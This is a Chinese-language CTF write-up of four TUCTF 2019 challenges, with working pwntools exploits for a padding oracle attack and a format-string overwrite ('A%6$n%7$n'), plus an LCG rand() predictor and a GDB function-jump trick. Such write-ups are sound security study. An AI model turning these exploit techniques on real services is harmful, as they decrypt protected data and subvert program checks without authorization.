[Writeup] TUCTF 2019

[Crypto] The Oracle

(忘記題目敘述了)

Solution

這是一題 Padding Oracle Attack 的題目
幾個月前去刷了 2018 年的 picoCTF ,有一題名為 Magic Padding Oracle 的題目即使看了別人的 writeup 仍然不會做
這次重新學習 Padding Oracle Attack ,總算是弄懂他的原理了

學習文章:

  1. [ASP.NET] 了解Padding Oracle Attacks的細節 (一)
  2. [ASP.NET] 了解Padding Oracle Attacks的細節 (二)

簡單來說…
不,我不知道怎麼說QQ
直接上 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import remote
from base64 import b64decode, b64encode

HOST, PORT = 'chal.tuctf.com', 30103

r = remote(HOST, PORT)

def pretty_print(ct):
for bid in range(len(ct) // 16):
print(' '.join(str(hex(ct[i]).lstrip('0x')).zfill(2) for i in range(bid * 16, (bid + 1) * 16)))

r.recvlines(6)
ct = b64decode(r.recvline().strip())
with open('ct', 'w') as f:
f.write(b64encode(ct))
ct = [ord(i) for i in ct]
# pretty_print(ct)

def calc_pad(blk, pad):
return [i ^ pad for i in blk]

def xor(a, b):
return ''.join(chr(i ^ j) for i, j in zip(a, b))

pt= ''
for bid in range(len(ct) // 16 - 1):
known_blk = [0 for _ in range(16)]

for i in range(16):
for j in range(256):
r.recvlines(6)
r.sendline('1')

test_blk = [0] * (16 - i - 1) + [j] + calc_pad(known_blk[16 - i:16], i + 1)
# pretty_print(test_blk)
# assert(len(test_blk) == 16)
payload = test_blk + ct[16 * (bid + 1):16 * (bid + 2)]
r.sendlineafter(': ', b64encode(''.join(chr(ch) for ch in payload)))

res = r.recvlines(2)[1]
# print(res)
if 'Valid' in res:
known_blk[-(i + 1)] = j ^ (i + 1)
break

print('known_blk: ')
pretty_print(known_blk)
pt += xor(ct[16 * (bid + 0):16 * (bid + 1)], known_blk)
print('pt = {}'.format(pt))

r.recvlines(6)
r.sendline('2')
r.sendline(pt)
r.interactive()

Flag TUCTF{D0nt_l3t_y0ur_s3rv3r_g1v3_f33db4ck}

[PWN] printfun

I have made an impenetrable password checker. Just try your luck!

nc chal.tuctf.com 30501

printfun

Solution

printfun:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *s; // ST1C_4
void *buf; // ST18_4

setvbuf(stdout, 0, 2, 0x14u);
setvbuf(stdin, 0, 2, 0x14u);
s = malloc(0x40u);
buf = malloc(0x40u);
memset(s, 0, 0x40u);
memset(buf, 0, 0x40u);
printf("What's the password? ");
read(0, buf, 0x3Cu);
getPass(s);
puts("__DEBUG OUTPUT__ (Disable before production)");
puts("User input:");
printf(buf);
sleep(1u);
if ( !strcmp(buf, s) )
{
puts("Lucky guess...");
system("/bin/cat ./flag.txt");
}
else
{
puts("Better luck next time");
}
return 0;
}

很明顯的可以看到 Line 17 有 format string 的漏洞
第一步就是利用 %x$s (x 為數字) 找出變數 s 以及 buf 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import process

for i in range(100):
print('# {}'.format(i + 1))
r = process('./printfun')
r.sendlineafter('? ', '%{}$s'.format(i + 1))
r.recvlines(2)
try:
res = r.recvall().rstrip('\nBetter luck next time')
r.close()
print(len(res))
print(res)
except:
pass

output:

# 6
4
%6$s
# 7
60
\x95\xa4\x14F\xfe\xfe��M\x96UF\x11Ǧ\x89�#\x18X\xb7\x87\x84$\xbb�
\xaaƓ\x1c@\x17?�U\x04i
\x07�Ub)\x0b\xb7\xb6\x03y\xbe\xac\x1d7\x7f\x97\xfe

可以知道 %6$s 為變數 buf 的值, %7$s 為變數 s 的值
接著就是對那兩個位置利用 %n 寫入新的值,使得 Line 20 的 strcmp() 能夠相等

1
2
3
4
5
6
7
8
from pwn import remote

HOST, PORT = 'chal.tuctf.com', 30501

r = remote(HOST, PORT)
r.sendlineafter('? ', 'A%6$n%7$n')
r.recvlines(2)
print(r.recvall())

Flag TUCTF{wh47'5_4_pr1n7f_l1k3_y0u_d01n6_4_b1n4ry_l1k3_7h15?}

[Misc] RNGeesus

RNGeesus has a secret technique, can you guess it?

nc chal.tuctf.com 30300

Solution

在 nc 過去後,題目告訴你他使用了 C 的 rand() function ,並給你一個數字要你預測 rand() 產出的下一個數字

在經過一番 Google 後,找到了 rand() 的實作:

1
2
3
4
5
6
7
8
9
10
11
12
static unsigned long int next = 1;

int rand(void) // RAND_MAX assumed to be 32767
{
next = next * 1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}

void srand(unsigned int seed)
{
next = seed;
}

可以知道 rand() 是利用線性同餘 (Linear Congruential Generator, LCG) 來產生亂數的
也就是說,當前產出的數字會是由上一個產出的數字計算而來

Exploit 如下:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>

int main()
{
int n;
scanf("%d", &n);
srand(n);
printf("%d\n", rand());
return 0;
}

Flag TUCTF{D0NT_1NS3CUR3LY_S33D_Y0UR_LCGS}

[Reversing] faker

One of these things is not like the other. Can you uncover the flag?

faker

Solution

執行畫面:

Decompile 可以發現除了 A, B, C 外還有一個叫 thisone 的 function

thisone:

1
2
3
4
5
6
7
8
__int64 __usercall thisone@<rax>(__int64 a1@<rbp>)
{
__int64 v2; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v2 = a1;
return printFlag("\\PJ\\fC|)L0LTw@Yt@;Twmq0Lw|qw@w2$a@0;w|)@awmLL|Tw|)LwZL2lhhL0k");
}

除了把他在做的事弄出來做一次以外,可以直接用 GDB 跳到 thisone ,直接執行該 functin

gdb-peda$ b main
gdb-peda$ r
gdb-peda$ disas thisone
Dump of assembler code for function thisone:
0x0000561d39a3034b <+0>: endbr64
0x0000561d39a3034f <+4>: push rbp
0x0000561d39a30350 <+5>: mov rbp,rsp
0x0000561d39a30353 <+8>: sub rsp,0x10
0x0000561d39a30357 <+12>: lea rax,[rip+0xcaa] # 0x561d39a31008
0x0000561d39a3035e <+19>: mov QWORD PTR [rbp-0x8],rax
0x0000561d39a30362 <+23>: mov rax,QWORD PTR [rbp-0x8]
0x0000561d39a30366 <+27>: mov rdi,rax
0x0000561d39a30369 <+30>: call 0x561d39a30269 <printFlag>
0x0000561d39a3036e <+35>: nop
0x0000561d39a3036f <+36>: leave
0x0000561d39a30370 <+37>: ret
End of assembler dump.
gdb-peda$ set $rip=0x0000561d39a3034b
gdb-peda$ c
Continuing.
TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}
[Inferior 1 (process 60) exited with code 076]
Warning: not running

Flag TUCTF{7h3r35_4lw4y5_m0r3_70_4_b1n4ry_7h4n_m3375_7h3_d3bu663r}